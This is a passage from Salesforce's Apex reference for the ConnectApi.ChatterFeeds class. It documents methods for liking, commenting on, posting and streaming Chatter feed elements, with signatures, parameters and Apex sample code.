The ID for a comment.
Return Value
Type: ConnectApi.ChatterLikePage
getLikesForComment(communityId, commentId, pageParam, pageSize)
Returns the specified page of likes for the specified comment.
API Version
28.0
Available to Guest Users
31.0
Requires Chatter
Yes
Signature
public static ConnectApi.ChatterLikePage getLikesForComment(String communityId, String
commentId, Integer pageParam, Integer pageSize)
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
commentId
Type: String
The ID for a comment.
pageParam
Type: Integer
940
ChatterFeeds ClassReference
Specifies the number of the page you want returned. Starts at 0. If you pass in null or 0, the first page is returned.
pageSize
Type: Integer
Specifies the number of items per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.
Return Value
Type: ConnectApi.ChatterLikePage
getLikesForFeedElement(communityId, feedElementId)
Get the first page of likes for a feed element.
API Version
32.0
Available to Guest Users
32.0
Requires Chatter
Yes
Signature
public static ConnectApi.ChatterLikePage getLikesForFeedElement(String communityId,
String feedElementId)
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
feedElementId
Type: String
ID of the feed element.
Return Value
Type: ConnectApi.ChatterLikePage Class
If the feed element doesn’t support the ChatterLikes capability, the return value is ConnectApi.NotFoundException.
getLikesForFeedElement(communityId, feedElementId, pageParam, pageSize)
Returns the specified page of likes for a feed element.
941
ChatterFeeds ClassReference
API Version
32.0
Available to Guest Users
32.0
Requires Chatter
Yes
Signature
public static ConnectApi.ChatterLikePage getLikesForFeedElement(String communityId,
String feedElementId, Integer pageParam, Integer pageSize)
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
feedElementId
Type: String
ID of the feed element.
pageParam
Type: String
The page token to use to view the page. Page tokens are returned as part of the response class, for example, currentPageToken
or nextPageToken. If you pass in null, the first page is returned.
pageSize
Type: Integer
Specifies the number of items per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.
Return Value
Type: ConnectApi.ChatterLikePage Class
If the feed element doesn’t support the ChatterLikes capability, the return value is ConnectApi.NotFoundException.
getLikesForFeedItem(communityId, feedItemId)
Returns the first page of likes for the specified feed item. The page contains the default number of items.
API Version
28.0–31.0
Important: In version 32.0 and later, use getLikesForFeedElement(communityId, feedElementId).
942
ChatterFeeds ClassReference
Available to Guest Users
31.0 only
Requires Chatter
Yes
Signature
public static ConnectApi.ChatterLikePage getLikesForFeedItem(String communityId, String
feedItemId)
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
feedItemId
Type: String
The ID for a feed item.
Return Value
Type: ConnectApi.ChatterLikePage
getLikesForFeedItem(communityId, feedItemId, pageParam, pageSize)
Returns the specified page of likes for the specified feed item.
API Version
28.0–31.0
Important: In version 32.0 and later, use getLikesForFeedElement(communityId, feedElementId, pageParam, pageSize).
Available to Guest Users
31.0 only
Requires Chatter
Yes
Signature
public static ConnectApi.ChatterLikePage getLikesForFeedItem(String communityId, String
feedItemId, Integer pageParam, Integer pageSize)
943
ChatterFeeds ClassReference
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
feedItemId
Type: String
The ID for a feed item.
pageParam
Type: Integer
Specifies the number of the page you want returned. Starts at 0. If you pass in null or 0, the first page is returned.
pageSize
Type: Integer
Specifies the number of items per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.
Return Value
Type: ConnectApi.ChatterLikePage
getRelatedPosts(communityId, feedElementId, filter, maxResults)
Get posts related to the context feed element.
API Version
37.0
Available to Guest Users
37.0
Requires Chatter
Yes
Signature
public static ConnectApi.RelatedFeedPosts getRelatedPosts(String communityId, String
feedElementId, ConnectApi.RelatedFeedPostType filter, Integer maxResults)
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
feedElementId
Type: String
944
ChatterFeeds ClassReference
ID of the feed element. The feed element must be a question.
filter
Type: ConnectApi.RelatedFeedPostType
Specifies the type of related post. Values are:
•Answered—Related questions that have at least one answer.
•BestAnswer—Related questions that have a best answer.
•Generic—All types of related questions, including answered, with a best answer, and unanswered.
•Unanswered—Related questions that don’t have answers.
Generic is the default value.
maxResults
Type: Integer
The maximum number of results to return. You can return up to 25 results; 5 is the default.
Return Value
Type: ConnectApi.RelatedFeedPosts
In version 37.0 and later, related feed posts are questions.
Each related feed post has a score indicating how closely it’s related to the context feed post. We return related feed posts sorted by
score, with the highest score first.
Usage
To test code that uses this method, use the matching set test method (prefix the method name with setTest). Use the set test method
with the same parameters or the code throws an exception.
getStream(communityId, streamId)
Get information about a Chatter feed stream.
API Version
39.0
Requires Chatter
Yes
Signature
public static ConnectApi.ChatterStream getStream(String communityId, String streamId)
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
945
ChatterFeeds ClassReference
streamId
Type: String
ID of the Chatter feed stream.
Return Value
Type: ConnectApi.ChatterStream
getStreams(communityId)
Get the Chatter feed streams for the context user.
API Version
39.0
Requires Chatter
Yes
Signature
public static ConnectApi.ChatterStreamPage getStreams(String communityId)
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
Return Value
Type: ConnectApi.ChatterStreamPage
getStreams(communityId, pageParam, pageSize)
Get a page of Chatter feed streams for the context user.
API Version
39.0
Requires Chatter
Yes
Signature
public static ConnectApi.ChatterStreamPage getStreams(String communityId, Integer
pageParam, Integer pageSize)
946
ChatterFeeds ClassReference
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
pageParam
Type: Integer
Specifies the number of the page you want returned. Starts at 0. If you pass in null or 0, the first page is returned.
pageSize
Type: Integer
Specifies the number of items per page. Valid values are from 5 to 100. The default size is 25.
Return Value
Type: ConnectApi.ChatterStreamPage
getSupportedEmojis()
Get supported emojis for the org.
API Version
39.0
Requires Chatter
Yes
Signature
public static ConnectApi.SupportedEmojis getSupportedEmojis()
Return Value
Type: ConnectApi.SupportedEmojis
Usage
To get the list, emojis must be enabled in your org.
isCommentEditableByMe(communityId, commentId)
Indicates whether the context user can edit a comment.
API Version
34.0
947
ChatterFeeds ClassReference
Requires Chatter
Yes
Signature
public static ConnectApi.FeedEntityIsEditable isCommentEditableByMe(String communityId,
String commentId)
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
commentId
Type: String
ID of the comment.
Return Value
Type: ConnectApi.FeedEntityIsEditable
If the comment doesn’t support the edit capability, the return value is ConnectApi.NotFoundException.
SEE ALSO:
Edit a Comment
isFeedElementEditableByMe(communityId, feedElementId)
Indicates whether the context user can edit a feed element. Feed items are the only type of feed element that can be edited.
API Version
34.0
Requires Chatter
Yes
Signature
public static ConnectApi.FeedEntityIsEditable isFeedElementEditableByMe(String
communityId, String feedElementId)
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
948
ChatterFeeds ClassReference
feedElementId
Type: String
ID of the feed element. Feed items are the only type of feed element that can be edited.
Return Value
Type: ConnectApi.FeedEntityIsEditable
If the feed element doesn’t support the edit capability, the return value is ConnectApi.NotFoundException.
SEE ALSO:
Edit a Feed Element
Edit a Question Title and Post
isModified(communityId, feedType, subjectId, since)
Returns information about whether a news feed has been updated or changed. Use this method to poll a news feed for updates.
Important: This feature is available through a Feed Polling pilot program. This pilot program is closed and not accepting new
participants.
API Version
28.0
Requires Chatter
Yes
Signature
public static ConnectApi.FeedModifiedInfo isModified(String communityId,
ConnectApi.FeedType feedType, String subjectId, String since)
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
feedType
Type: ConnectApi.FeedType
Specifies the type of feed. The only supported type is News
subjectId
Type: String
The ID of the context user or the alias me.
since
Type: String
949
ChatterFeeds ClassReference
An opaque token containing information about the last modified date of the feed. Retrieve this token from the
FeedElementPage.isModifiedToken property.
Return Value
Type: ConnectApi.FeedModifiedInfo
likeComment(communityId, commentId)
Adds a like to the specified comment for the context user. If the user has already liked this comment, this is a non-operation and returns
the existing like.
API Version
28.0
Requires Chatter
Yes
Signature
public static ConnectApi.ChatterLike likeComment(String communityId, String commentId)
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
commentId
Type: String
The ID for a comment.
Return Value
Type: ConnectApi.ChatterLike
likeFeedElement(communityId, feedElementId)
Like a feed element.
API Version
32.0
Requires Chatter
Yes
950
ChatterFeeds ClassReference
Signature
public static ConnectApi.ChatterLike likeFeedElement(String communityId, String
feedElementId)
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
feedElementId
Type: String
The ID for a feed element.
Return Value
Type: ConnectApi.ChatterLike
If the feed element doesn’t support the ChatterLikes capability, the return value is ConnectApi.NotFoundException.
Example
ConnectApi.ChatterLike chatterLike = ConnectApi.ChatterFeeds.likeFeedElement(null,
'0D5D0000000KuGh');
likeFeedItem(communityId, feedItemId)
Adds a like to the specified feed item for the context user. If the user has already liked this feed item, this is a non-operation and returns
the existing like.
API Version
28.0–31.0
Important: In version 32.0 and later, use likeFeedElement(communityId, feedElementId).
Requires Chatter
Yes
Signature
public static ConnectApi.ChatterLike likeFeedItem(String communityId, String feedItemId)
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
951
ChatterFeeds ClassReference
feedItemId
Type: String
The ID for a feed item.
Return Value
Type: ConnectApi.ChatterLike
postComment(communityId, feedItemId, text)
Adds the specified text as a comment to the feed item, for the context user.
API Version
28.0–31.0
Important: In version 32.0 and later, use postCommentToFeedElement(communityId, feedElementId, text).
Requires Chatter
Yes
Signature
public static ConnectApi.Comment postComment(String communityId, String feedItemId,
String text)
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
feedItemId
Type: String
The ID for a feed item.
text
Type: String
The text of the comment. Mentions are downgraded to plain text. To include a mention that links to a user, call
postComment(communityId, feedItemId, comment, feedItemFileUpload) and pass the mention in a
ConnectApi.CommentInput object.
Return Value
Type: ConnectApi.Comment
952
ChatterFeeds ClassReference
Usage
If hashtags or links are detected in text, they are included in the comment as hashtag and link segments. Mentions are not detected
in text and are not separated out of the text.
Feed items and comments can contain up to 10,000 characters.
postComment(communityId, feedItemId, comment, feedItemFileUpload)
Adds a comment to the feed item from the context user. Use this method to use rich text, including mentions, and to attach a file to a
comment.
API Version
28.0–31.0
Important: In version 32.0 and later, use postCommentToFeedElement(communityId, feedElementId, comment,
feedElementFileUpload).
Requires Chatter
Yes
Signature
public static ConnectApi.Comment postComment(String communityId, String feedItemId,
ConnectApi.CommentInput comment, ConnectApi.BinaryInput feedItemFileUpload)
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
feedItemId
Type: String
The ID for a feed item.
comment
Type: ConnectApi.CommentInput
In the CommentInput object, specify rich text, including @mentions. Optionally, in the CommentInput.attachment
property, specify an existing file or a new file
feedItemFileUpload
Type: ConnectApi.BinaryInput
If you specify a NewFileAttachmentInput object in the CommentInput.attachment property, specify the new
binary file to attach in this argument. Otherwise, do not specify a value.
Return Value
Type: ConnectApi.Comment
953
ChatterFeeds ClassReference
Usage
Feed items and comments can contain up to 10,000 characters.
Sample: Posting a Comment with a New File Attachment
To post a comment and upload and attach a new file to the comment, create a ConnectApi.CommentInput object and a
ConnectApi.BinaryInput object to pass to the ConnectApi.ChatterFeeds.postComment method.
String communityId = null;
String feedItemId = '0D5D0000000Kcd1';
ConnectApi.CommentInput input = new ConnectApi.CommentInput();
ConnectApi.MessageBodyInput messageInput = new ConnectApi.MessageBodyInput();
ConnectApi.TextSegmentInput textSegment;
textSegment = new ConnectApi.TextSegmentInput();
textSegment.text = 'Comment Text Body';
messageInput.messageSegments = new List<ConnectApi.MessageSegmentInput>();
messageInput.messageSegments.add(textSegment);
input.body = messageInput;
ConnectApi.NewFileAttachmentInput attachmentInput = new ConnectApi.NewFileAttachmentInput();
attachmentInput.description = 'The description of the file';
attachmentInput.title = 'contentFile.txt';
input.attachment = attachmentInput;
String fileContents = 'This is the content of the file.';
Blob fileBlob = Blob.valueOf(fileContents);
ConnectApi.BinaryInput binaryInput = new ConnectApi.BinaryInput(fileBlob, 'text/plain',
'contentFile.txt');
ConnectApi.Comment commentRep = ConnectApi.ChatterFeeds.postComment(communityId, feedItemId,
input, binaryInput);
postCommentToFeedElement(communityId, feedElementId, text)
Post a plain text comment to a feed element.
API Version
32.0
Requires Chatter
Yes
Signature
public static ConnectApi.Comment postCommentToFeedElement(String communityId, String
feedElementId, String text)
954
ChatterFeeds ClassReference
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
feedElementId
Type: String
The ID for a feed element.
text
Type: String
Text of the comment. A comment can contain up to 10,000 characters.
Return Value
Type: ConnectApi.Comment
If the feed element doesn’t support the Comments capability, the return value is ConnectApi.NotFoundException.
Example
ConnectApi.Comment comment = ConnectApi.ChatterFeeds.postCommentToFeedElement(null,
'0D5D0000000KuGh','I agree with the proposal.' );
postCommentToFeedElement(communityId, feedElementId, comment,
feedElementFileUpload)
Post a comment to a feed element. Use this method to post rich text, including mentions, and to attach a file. A comment can contain
up to 10,000 characters.
API Version
32.0
Requires Chatter
Yes
Signature
public static ConnectApi.Comment postCommentToFeedElement(String communityId, String
feedElementId, ConnectApi.CommentInput comment, ConnectApi.BinaryInput
feedElementFileUpload)
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
955
ChatterFeeds ClassReference
feedElementId
Type: String
The ID for a feed element.
comment
Type: ConnectApi.CommentInput
The comment body, including text and mentions, and capabilities, such as information about an attached file.
feedElementFileUpload
Type: ConnectApi.BinaryInput
A new binary file to attach to the comment, or null. If you specify a binary file, specify the title and description of the file in the
comment parameter.
Return Value
Type: ConnectApi.Comment
If the feed element doesn’t support the Comments capability, the return value is ConnectApi.NotFoundException.
Example for Posting a Comment with Mentions
You can post comments with mentions two ways. Use the ConnectApiHelper repository on GitHub to write a single line of code, or use
this method example.
String communityId = null;
String feedElementId = '0D5D0000000KtW3';
ConnectApi.CommentInput commentInput = new ConnectApi.CommentInput();
ConnectApi.MentionSegmentInput mentionSegmentInput = new ConnectApi.MentionSegmentInput();
ConnectApi.MessageBodyInput messageBodyInput = new ConnectApi.MessageBodyInput();
ConnectApi.TextSegmentInput textSegmentInput = new ConnectApi.TextSegmentInput();
messageBodyInput.messageSegments = new List<ConnectApi.MessageSegmentInput>();
textSegmentInput.text = 'Does anyone in this group have an idea? ';
messageBodyInput.messageSegments.add(textSegmentInput);
mentionSegmentInput.id = '005D00000000oOT';
messageBodyInput.messageSegments.add(mentionSegmentInput);
commentInput.body = messageBodyInput;
ConnectApi.Comment commentRep = ConnectApi.ChatterFeeds.postCommentToFeedElement(communityId,
feedElementId, commentInput, null);
Example for Posting a Comment with an Existing File
String feedElementId = '0D5D0000000KtW3';
ConnectApi.CommentInput commentInput = new ConnectApi.CommentInput();
ConnectApi.MessageBodyInput messageBodyInput = new ConnectApi.MessageBodyInput();
ConnectApi.TextSegmentInput textSegmentInput = new ConnectApi.TextSegmentInput();
956
ChatterFeeds ClassReference
textSegmentInput.text = 'I attached this file from Salesforce Files.';
messageBodyInput.messageSegments = new List<ConnectApi.MessageSegmentInput>();
messageBodyInput.messageSegments.add(textSegmentInput);
commentInput.body = messageBodyInput;
ConnectApi.CommentCapabilitiesInput commentCapabilitiesInput = new
ConnectApi.CommentCapabilitiesInput();
ConnectApi.ContentCapabilityInput contentCapabilityInput = new
ConnectApi.ContentCapabilityInput();
commentCapabilitiesInput.content = contentCapabilityInput;
contentCapabilityInput.contentDocumentId = '069D00000001rNJ';
commentInput.capabilities = commentCapabilitiesInput;
ConnectApi.Comment commentRep =
ConnectApi.ChatterFeeds.postCommentToFeedElement(Network.getNetworkId(), feedElementId,
commentInput, null);
Example for Posting a Comment with a New File
String feedElementId = '0D5D0000000KtW3';
ConnectApi.CommentInput commentInput = new ConnectApi.CommentInput();
ConnectApi.MessageBodyInput messageBodyInput = new ConnectApi.MessageBodyInput();
ConnectApi.TextSegmentInput textSegmentInput = new ConnectApi.TextSegmentInput();
textSegmentInput.text = 'Enjoy this new file.';
messageBodyInput.messageSegments = new List<ConnectApi.MessageSegmentInput>();
messageBodyInput.messageSegments.add(textSegmentInput);
commentInput.body = messageBodyInput;
ConnectApi.CommentCapabilitiesInput commentCapabilitiesInput = new
ConnectApi.CommentCapabilitiesInput();
ConnectApi.ContentCapabilityInput contentCapabilityInput = new
ConnectApi.ContentCapabilityInput();
commentCapabilitiesInput.content = contentCapabilityInput;
contentCapabilityInput.title = 'Title';
commentInput.capabilities = commentCapabilitiesInput;
String text = 'These are the contents of the new file.';
Blob myBlob = Blob.valueOf(text);
ConnectApi.BinaryInput binInput = new ConnectApi.BinaryInput(myBlob, 'text/plain',
'fileName');
ConnectApi.Comment commentRep =
957
ChatterFeeds ClassReference
ConnectApi.ChatterFeeds.postCommentToFeedElement(Network.getNetworkId(), feedElementId,
commentInput, binInput);
Example for Posting a Rich-Text Comment with an Inline Image
You can post rich-text comments with inline images and mentions two ways. Use the ConnectApiHelper repository on GitHub to write
a single line of code, or use this method example. In this example, the image file is existing content that has already been uploaded to
Salesforce.
String communityId = null;
String feedElementId = '0D5R0000000SBEr';
String imageId = '069R00000000IgQ';
String mentionedUserId = '005R0000000DiMz';
ConnectApi.CommentInput input = new ConnectApi.CommentInput();
ConnectApi.MessageBodyInput messageInput = new ConnectApi.MessageBodyInput();
ConnectApi.TextSegmentInput textSegment;
ConnectApi.MentionSegmentInput mentionSegment;
ConnectApi.MarkupBeginSegmentInput markupBeginSegment;
ConnectApi.MarkupEndSegmentInput markupEndSegment;
ConnectApi.InlineImageSegmentInput inlineImageSegment;
messageInput.messageSegments = new List<ConnectApi.MessageSegmentInput>();
markupBeginSegment = new ConnectApi.MarkupBeginSegmentInput();
markupBeginSegment.markupType = ConnectApi.MarkupType.Bold;
messageInput.messageSegments.add(markupBeginSegment);
textSegment = new ConnectApi.TextSegmentInput();
textSegment.text = 'Hello ';
messageInput.messageSegments.add(textSegment);
mentionSegment = new ConnectApi.MentionSegmentInput();
mentionSegment.id = mentionedUserId;
messageInput.messageSegments.add(mentionSegment);
textSegment = new ConnectApi.TextSegmentInput();
textSegment.text = '!';
messageInput.messageSegments.add(textSegment);
markupEndSegment = new ConnectApi.MarkupEndSegmentInput();
markupEndSegment.markupType = ConnectApi.MarkupType.Bold;
messageInput.messageSegments.add(markupEndSegment);
inlineImageSegment = new ConnectApi.InlineImageSegmentInput();
inlineImageSegment.altText = 'image one';
inlineImageSegment.fileId = imageId;
messageInput.messageSegments.add(inlineImageSegment);
input.body = messageInput;
ConnectApi.ChatterFeeds.postCommentToFeedElement(communityId, feedElementId, input, null);
958
ChatterFeeds ClassReference
Example for Posting a Rich-Text Comment with a Code Block
String communityId = null;
String feedElementId = '0D5R0000000SBEr';
String codeSnippet = '<html>\n\t<body>\n\t\tHello, world!\n\t</body>\n</html>';
ConnectApi.CommentInput input = new ConnectApi.CommentInput();
ConnectApi.MessageBodyInput messageInput = new ConnectApi.MessageBodyInput();
ConnectApi.TextSegmentInput textSegment;
ConnectApi.MarkupBeginSegmentInput markupBeginSegment;
ConnectApi.MarkupEndSegmentInput markupEndSegment;
messageInput.messageSegments = new List<ConnectApi.MessageSegmentInput>();
markupBeginSegment = new ConnectApi.MarkupBeginSegmentInput();
markupBeginSegment.markupType = ConnectApi.MarkupType.Code;
messageInput.messageSegments.add(markupBeginSegment);
textSegment = new ConnectApi.TextSegmentInput();
textSegment.text = codeSnippet;
messageInput.messageSegments.add(textSegment);
markupEndSegment = new ConnectApi.MarkupEndSegmentInput();
markupEndSegment.markupType = ConnectApi.MarkupType.Code;
messageInput.messageSegments.add(markupEndSegment);
input.body = messageInput;
ConnectApi.ChatterFeeds.postCommentToFeedElement(communityId, feedElementId, input, null);
postFeedElement(communityId, subjectId, feedElementType, text)
Posts a feed element with plain text from the context user.
API Version
31.0
Requires Chatter
Yes
Signature
public static ConnectApi.FeedElement postFeedElement(String communityId, String
subjectId, ConnectApi.FeedElementType feedElementType, String text)
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
959
ChatterFeeds ClassReference
subjectId
Type: String
The ID of the parent this feed element is being posted to. This value can be the ID of a user, group, or record, or the string me to
indicate the context user.
feedElementType
Type: ConnectApi.FeedElementType
The only possible value is FeedItem.
text
Type: String
The text of the feed element. A feed element can contain up to 10,000 characters.
Return Value
Type: ConnectApi.FeedElement
Example
ConnectApi.FeedElement feedElement =
ConnectApi.ChatterFeeds.postFeedElement(Network.getNetworkId(), '0F9d0000000TreH',
ConnectApi.FeedElementType.FeedItem, 'On vacation this week.');
postFeedElement(communityId, feedElement, feedElementFileUpload)
Posts a feed element from the context user. Use this method to post rich text, including mentions and hashtag topics, to attach a file to
a feed element, and to associate action link groups with a feed element. You can also use this method to share a feed element and add
a comment.
API Version
31.0–35.0
Important: In version 36.0 and later, this method is no longer available because you can’t create a feed post and upload a binary
file in the same call. Upload files to Salesforce first, and then use postFeedElement(communityId, feedElement)
to create the feed post and attach the files.
Requires Chatter
Yes
Signature
public static ConnectApi.FeedElement postFeedElement(String communityId,
ConnectApi.FeedElementInput feedElement, ConnectApi.BinaryInput feedElementFileUpload)
Parameters
communityId
Type: String
960
ChatterFeeds ClassReference
Use either the ID for a community, internal, or null.
feedElement
Type: ConnectApi.FeedElementInput
Specify rich text, including mentions. Optionally, specify a link, a poll, an existing file, or a new file.
feedElementFileUpload
Type: ConnectApi.BinaryInput
Specify the new binary file to attach to the post only if you also specify a NewFileAttachmentInput object in the
feedElement parameter. Otherwise, pass null.
Return Value
Type: ConnectApi.FeedElement
Example for Posting a Feed Element with a New (Binary) File
ConnectApi.FeedItemInput input = new ConnectApi.FeedItemInput();
input.subjectId = 'me';
ConnectApi.ContentCapabilityInput contentInput = new ConnectApi.ContentCapabilityInput();
contentInput.title = 'Title';
ConnectApi.FeedElementCapabilitiesInput capabilities = new
ConnectApi.FeedElementCapabilitiesInput();
capabilities.content = contentInput;
input.capabilities = capabilities;
String text = 'These are the contents of the new file.';
Blob myBlob = Blob.valueOf(text);
ConnectApi.BinaryInput binInput = new ConnectApi.BinaryInput(myBlob, 'text/plain',
'fileName');
ConnectApi.ChatterFeeds.postFeedElement(Network.getNetworkId(), input, binInput);
postFeedElement(communityId, feedElement)
Posts a feed element from the context user. Use this method to post rich text, including mentions and hashtag topics, to attach already
uploaded files to a feed element, and to associate action link groups with a feed element. You can also use this method to share a feed
element and add a comment.
API Version
36.0
Requires Chatter
Yes
961
ChatterFeeds ClassReference
Signature
public static ConnectApi.FeedElement postFeedElement(String communityId,
ConnectApi.FeedElementInput feedElement)
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
feedElement
Type: ConnectApi.FeedElementInput
Specify rich text, including mentions. Optionally, specify a link, a poll, or up to 10 existing files.
Return Value
Type: ConnectApi.FeedElement
Example for Posting a Feed Element with a Mention
You can post feed elements with mentions two ways. Use the ConnectApiHelper repository on GitHub to write a single line of code, or
use this method example.
ConnectApi.FeedItemInput feedItemInput = new ConnectApi.FeedItemInput();
ConnectApi.MentionSegmentInput mentionSegmentInput = new ConnectApi.MentionSegmentInput();
ConnectApi.MessageBodyInput messageBodyInput = new ConnectApi.MessageBodyInput();
ConnectApi.TextSegmentInput textSegmentInput = new ConnectApi.TextSegmentInput();
messageBodyInput.messageSegments = new List<ConnectApi.MessageSegmentInput>();
mentionSegmentInput.id = '005RR000000Dme9';
messageBodyInput.messageSegments.add(mentionSegmentInput);
textSegmentInput.text = 'Could you take a look?';
messageBodyInput.messageSegments.add(textSegmentInput);
feedItemInput.body = messageBodyInput;
feedItemInput.feedElementType = ConnectApi.FeedElementType.FeedItem;
feedItemInput.subjectId = '0F9RR0000004CPw';
ConnectApi.FeedElement feedElement =
ConnectApi.ChatterFeeds.postFeedElement(Network.getNetworkId(), feedItemInput, null);
Example for Posting a Feed Element with Existing Content
// Define the FeedItemInput object to pass to postFeedElement
ConnectApi.FeedItemInput feedItemInput = new ConnectApi.FeedItemInput();
feedItemInput.subjectId = 'me';
ConnectApi.TextSegmentInput textSegmentInput = new ConnectApi.TextSegmentInput();
textSegmentInput.text = 'Would you please review these docs?';
962
ChatterFeeds ClassReference
// The MessageBodyInput object holds the text in the post
ConnectApi.MessageBodyInput messageBodyInput = new ConnectApi.MessageBodyInput();
messageBodyInput.messageSegments = new List<ConnectApi.MessageSegmentInput>();
messageBodyInput.messageSegments.add(textSegmentInput);
feedItemInput.body = messageBodyInput;
// The FeedElementCapabilitiesInput object holds the capabilities of the feed item.
// For this feed item, we define a files capability to hold the file(s).
List<String> fileIds = new List<String>();
fileIds.add('069xx00000000QO');
fileIds.add('069xx00000000QT');
fileIds.add('069xx00000000Qn');
fileIds.add('069xx00000000Qi');
fileIds.add('069xx00000000Qd');
ConnectApi.FilesCapabilityInput filesInput = new ConnectApi.FilesCapabilityInput();
filesInput.items = new List<ConnectApi.FileIdInput>();
for (String fileId : fileIds) {
ConnectApi.FileIdInput idInput = new ConnectApi.FileIdInput();
idInput.id = fileId;
filesInput.items.add(idInput);
}
ConnectApi.FeedElementCapabilitiesInput feedElementCapabilitiesInput = new
ConnectApi.FeedElementCapabilitiesInput();
feedElementCapabilitiesInput.files = filesInput;
feedItemInput.capabilities = feedElementCapabilitiesInput;
// Post the feed item.
ConnectApi.FeedElement feedElement =
ConnectApi.ChatterFeeds.postFeedElement(Network.getNetworkId(), feedItemInput, null);
Example for Posting a Rich-Text Feed Element with an Inline Image
You can post rich-text feed elements with inline images and mentions two ways. Use the ConnectApiHelper repository on GitHub to
write a single line of code, or use this method example. In this example, the image file is existing content that has already been uploaded
to Salesforce. The post also includes text and a mention.
String communityId = null;
String imageId = '069D00000001INA';
String mentionedUserId = '005D0000001QNpr';
String targetUserOrGroupOrRecordId = '005D0000001Gif0';
ConnectApi.FeedItemInput input = new ConnectApi.FeedItemInput();
input.subjectId = targetUserOrGroupOrRecordId;
input.feedElementType = ConnectApi.FeedElementType.FeedItem;
ConnectApi.MessageBodyInput messageInput = new ConnectApi.MessageBodyInput();
ConnectApi.TextSegmentInput textSegment;
ConnectApi.MentionSegmentInput mentionSegment;
ConnectApi.MarkupBeginSegmentInput markupBeginSegment;
ConnectApi.MarkupEndSegmentInput markupEndSegment;
963
ChatterFeeds ClassReference
ConnectApi.InlineImageSegmentInput inlineImageSegment;
messageInput.messageSegments = new List<ConnectApi.MessageSegmentInput>();
markupBeginSegment = new ConnectApi.MarkupBeginSegmentInput();
markupBeginSegment.markupType = ConnectApi.MarkupType.Bold;
messageInput.messageSegments.add(markupBeginSegment);
textSegment = new ConnectApi.TextSegmentInput();
textSegment.text = 'Hello ';
messageInput.messageSegments.add(textSegment);
mentionSegment = new ConnectApi.MentionSegmentInput();
mentionSegment.id = mentionedUserId;
messageInput.messageSegments.add(mentionSegment);
textSegment = new ConnectApi.TextSegmentInput();
textSegment.text = '!';
messageInput.messageSegments.add(textSegment);
markupEndSegment = new ConnectApi.MarkupEndSegmentInput();
markupEndSegment.markupType = ConnectApi.MarkupType.Bold;
messageInput.messageSegments.add(markupEndSegment);
inlineImageSegment = new ConnectApi.InlineImageSegmentInput();
inlineImageSegment.altText = 'image one';
inlineImageSegment.fileId = imageId;
messageInput.messageSegments.add(inlineImageSegment);
input.body = messageInput;
ConnectApi.ChatterFeeds.postFeedElement(communityId, input, null);
Example for Posting a Rich-Text Feed Element with a Code Block
String communityId = null;
String targetUserOrGroupOrRecordId = 'me';
String codeSnippet = '<html>\n\t<body>\n\t\tHello, world!\n\t</body>\n</html>';
ConnectApi.FeedItemInput input = new ConnectApi.FeedItemInput();
input.subjectId = targetUserOrGroupOrRecordId;
input.feedElementType = ConnectApi.FeedElementType.FeedItem;
ConnectApi.MessageBodyInput messageInput = new ConnectApi.MessageBodyInput();
ConnectApi.TextSegmentInput textSegment;
ConnectApi.MarkupBeginSegmentInput markupBeginSegment;
ConnectApi.MarkupEndSegmentInput markupEndSegment;
messageInput.messageSegments = new List<ConnectApi.MessageSegmentInput>();
markupBeginSegment = new ConnectApi.MarkupBeginSegmentInput();
markupBeginSegment.markupType = ConnectApi.MarkupType.Code;
messageInput.messageSegments.add(markupBeginSegment);
textSegment = new ConnectApi.TextSegmentInput();
964
ChatterFeeds ClassReference
textSegment.text = codeSnippet;
messageInput.messageSegments.add(textSegment);
markupEndSegment = new ConnectApi.MarkupEndSegmentInput();
markupEndSegment.markupType = ConnectApi.MarkupType.Code;
messageInput.messageSegments.add(markupEndSegment);
input.body = messageInput;
ConnectApi.ChatterFeeds.postFeedElement(communityId, input);
Example for Sharing a Feed Element (in Version 39.0 and Later)
// Define the FeedItemInput object to pass to postFeedElement
ConnectApi.FeedItemInput feedItemInput = new ConnectApi.FeedItemInput();
feedItemInput.subjectId = 'me';
ConnectApi.TextSegmentInput textSegmentInput = new ConnectApi.TextSegmentInput();
textSegmentInput.text = 'Look at this post I'm sharing.';
// The MessageBodyInput object holds the text in the post
ConnectApi.MessageBodyInput messageBodyInput = new ConnectApi.MessageBodyInput();
messageBodyInput.messageSegments = new List<ConnectApi.MessageSegmentInput>();
messageBodyInput.messageSegments.add(textSegmentInput);
feedItemInput.body = messageBodyInput;
ConnectApi.FeedEntityShareCapabilityInput shareInput = new
ConnectApi.FeedEntityShareCapabilityInput();
shareInput.feedEntityId = '0D5R0000000SEbc';
ConnectApi.FeedElementCapabilitiesInput feedElementCapabilitiesInput = new
ConnectApi.FeedElementCapabilitiesInput();
feedElementCapabilitiesInput.feedEntityShare = shareInput;
feedItemInput.capabilities = feedElementCapabilitiesInput;
// Post the feed item.
ConnectApi.FeedElement feedElement =
ConnectApi.ChatterFeeds.postFeedElement(Network.getNetworkId(), feedItemInput);
SEE ALSO:
Define an Action Link and Post with a Feed Element
Define an Action Link in a Template and Post with a Feed Element
postFeedElementBatch(communityId, feedElements)
Posts a batch of up to 500 feed elements for the cost of one DML statement.
API Version
32.0
Requires Chatter
Yes
965
ChatterFeeds ClassReference
Signature
public static ConnectApi.BatchResult[] postFeedElementBatch(String communityId,
List<ConnectApi.BatchInput> feedElements)
Parameters
communityId
Type: String
